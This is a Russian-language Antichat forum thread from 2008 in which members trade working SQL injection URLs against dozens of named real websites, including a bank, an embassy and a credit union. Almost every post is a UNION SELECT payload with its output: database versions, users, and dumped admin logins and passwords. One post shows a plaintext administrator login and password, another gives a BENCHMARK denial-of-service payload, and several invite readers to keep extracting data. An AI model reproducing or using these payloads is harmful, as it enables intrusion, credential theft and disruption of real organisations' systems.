HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.02.2008, 18:22
kair
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами: 10305026

Репутация: 187
По умолчанию

PHP Live! 3.2.2
Цитата:
https://www.msufcu.org/knowledge_searchm.php?mnuccid=65&l=&x=&action=expa nd_question&questid=-230%20union%20select%201,2,3,4,5,6,7,concat(login,char(5),password)+from+chat_admin--&deptid=3&catid=4&keyword=
 
Ответить с цитированием

  #2  
Старый 15.02.2008, 20:24
CaNNabi$
Познающий
Регистрация: 21.01.2008
Сообщений: 85
С нами: 9633635

Репутация: 338
По умолчанию

Код:
http://ykm.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://sotovic.org/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.cheryclub.org.ua/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.mss-design.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.atyraunews.com/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.litinstitut.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://foto-push.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.99t.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://ww.moderni-talo.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.bia-team.com/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.photocapture.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.magellan.by/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.torzhok.info/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.aagu.org.ua/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://ns64.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.blik-irk.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://fevralka.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.trust-building.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://mtt-mn.com/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.dancetrip.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.autoshoes.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://shelvergroup.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.jaray.org/home/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.laser-m.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.kvart-a.com.ua/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://dizua.com/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://artdi.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://business.clarimondgroup.com/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
Их там дофига (ГУГЛ)))) мне уже скучно стало подставлять)
Спасибо fobofob
 
Ответить с цитированием

  #3  
Старый 15.02.2008, 20:42
xcedz
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами: 9644006

Репутация: 3099


По умолчанию

металлопрокат
http://www.akmmetal.md/?lang=ru&menu_id=248&gallery_id=
-1+union+select+1,2,3,concat_ws(0x2F,version(), database(),user()),5,6,7,8,9,10,11,12,13/*


5.0.27/17182/17182@localhost

Последний раз редактировалось xcedz; 15.02.2008 в 22:22..
 
Ответить с цитированием

  #4  
Старый 15.02.2008, 22:31
0nep@t0p
Участник форума
Регистрация: 25.05.2007
Сообщений: 147
С нами: 9981026

Репутация: 728
По умолчанию

http://www.bank-peresvet.ru/ - Банк "Пересвет"
Код:
http://www.bank-peresvet.ru/article2/52/**/and/**/ascii(lower(substring((select/**/table_name/**/from/**/information_schema.columns/**/where/**/column_name=0x6964/**/limit/**/1),3,1)))%3E107/*
Здесь катит только посимвольный перебор, версия mysql точно 5-ая, я начал перебирать имя первой таблицы, в которой есть колонка id, подобрал первые 2 символа ( дальше надоело ) - co , если кому интересно - копайте дальше...

http://www.artcifra.com/ - сайт разработчиков весьма неплохой CMS
Код:
http://www.artcifra.com/index.php?act=portfolio&subact=2&count=&id=-9+union+select+1,2,cast(concat(user_name,0x3a,user_password)+as+binary),4,5,6,7,8+from+4images_users+limit+2,1/*
User: timoshenkov_001@77.221.130.14
Version: 5.0.51-3-log
Administration: http://www.artcifra.com/admin
Login: goga
Password: 5971548

http://bolgaria.ru/ - посольство Болгарии в России
Код:
http://bolgaria.ru/news/index.php?id=-690'+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8+from+forums_auth/*
Version: 5.0.45
User: bulgaria@localhost
 
Ответить с цитированием

  #5  
Старый 15.02.2008, 22:39
xcedz
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами: 9644006

Репутация: 3099


По умолчанию

фэнам гонок needForSpeed
http://www.sportcar-rm.ru/?p=1+union+select+concat_ws(0x2F,version(),%20data base(),user())/*

5.0.24-standard/db_sportcarrm1/sportcarrm1@localhost
 
Ответить с цитированием

  #6  
Старый 15.02.2008, 23:27
CaNNabi$
Познающий
Регистрация: 21.01.2008
Сообщений: 85
С нами: 9633635

Репутация: 338
По умолчанию

Код:
http://livre.ru/change/index.php?id=0x3127%20union+select+1,2,concat_ws(0x2F,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
4.1.22/links_exchange/linkuser@localhost

Код:
http://program.org.ua/index.php?cat=0x3127%20union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9,10,11,12/*
5.0.45-log/freeware/freeware@localhost

Код:
http://www.polkaudio.com/education/article.php?id=0x3127%20union+select+1,2,3,4,5,6,concat_ws(0x2F,version(),database(),user()),8,9/*
5.0.37/polk/webuser@localhost

Код:
http://www.pnevmo.ru/index.php?cat_id=1'%20union+select+1,2,3,4,5,6,concat_ws(0x2F,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
4.1.20-log/db_laaqer_3/dbu_laaqer_1@192.168.3.49

Последний раз редактировалось CaNNabi$; 15.02.2008 в 23:32.. Причина: http://www.pnevmo.ru/
 
Ответить с цитированием

  #7  
Старый 16.02.2008, 17:09
CaNNabi$
Познающий
Регистрация: 21.01.2008
Сообщений: 85
С нами: 9633635

Репутация: 338
По умолчанию

Код:
http://www.ac.org.tr/news.php?id=0x3127%20union+select+1,2,concat_ws(0x2F,version(),database(),user()),4,5,6,7/*
5.0.45-log/avrasya/acdbuser@cgi0703.int.bizland.net

Код:
http://www.lybid-realty.com.ua/index.php?w=new&id=0x3127%20union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5/*
4.1.22/lybidrealty/u_lybidrealt@localhost

Код:
http://enazindan1kisi.com/news.php?id=0x3127%20union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5/*
5.0.45-community/enazinda_v1/enazinda_v1@localhost

Код:
http://italia.allaboutjazz.com/php/news.php?id=0x3127%20union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
4.1.20/italy/vxweb@jazzy

Код:
http://www.architectureforhumanityitaly.org/news.php?id=0x3127%20union+select+1,2,3,4,concat_ws(0x2F,version(),database(),user()),6,7,8,9/*
5.0.45-community-log/Sql85662_1/Sql85662@62.149.140.140
 
Ответить с цитированием

  #8  
Старый 16.02.2008, 01:43
xcedz
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами: 9644006

Репутация: 3099


По умолчанию

About
Flagstaff Gallery was established in Devonport in 1993 as the first dealer gallery on Auckland's North Shore.
http://www.flagstaff.co.nz/artists_detail.php?artists_id=1'+union+select+1,2,3,4,5,6,version(),8/*

4.0.27-standard-log/flagstaff/w3_read@ws6.int.mydns.net.nz

Последний раз редактировалось xcedz; 16.02.2008 в 14:20..
 
Ответить с цитированием

  #9  
Старый 16.02.2008, 01:50
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами: 9799586

Репутация: 1385


По умолчанию

xcedz пусть мне поставят минусы НО за*бал ! я тебе уже писал чтобы ты не писал идиотским шрифтом а тем более ещё более идиотским ЦВЕТОМ !!!!!
// извиняюсь за хамство //
 
Ответить с цитированием

  #10  
Старый 16.02.2008, 02:57
satana8920
Постоянный
Регистрация: 22.09.2006
Сообщений: 531
С нами: 10333826

Репутация: 369


По умолчанию

Код HTML:
http://www.murmanspas.ru/index.php?p=gallerypic&img_id=-666+union+select+1,2,3,version(),5,6,7,8,9/*&galid=32&church=1&ascdesc=desc
4.1.21

http://www.murmanspas.ru/index.php?p=gallerypic&img_id=-666+union+select+1,2,3,BENCHMARK(666666666666666666666666,BENCHMARK(100000,md5(current_time))),5,6,7,8,9/*&galid=32&church=1&ascdesc=desc
АДский смех


Код HTML:
http://www.hair-band.com/index.php?option=com_quiz&task=user_tst_shw&Itemid=47&tid=1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*

Последний раз редактировалось satana8920; 16.02.2008 в 14:28..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.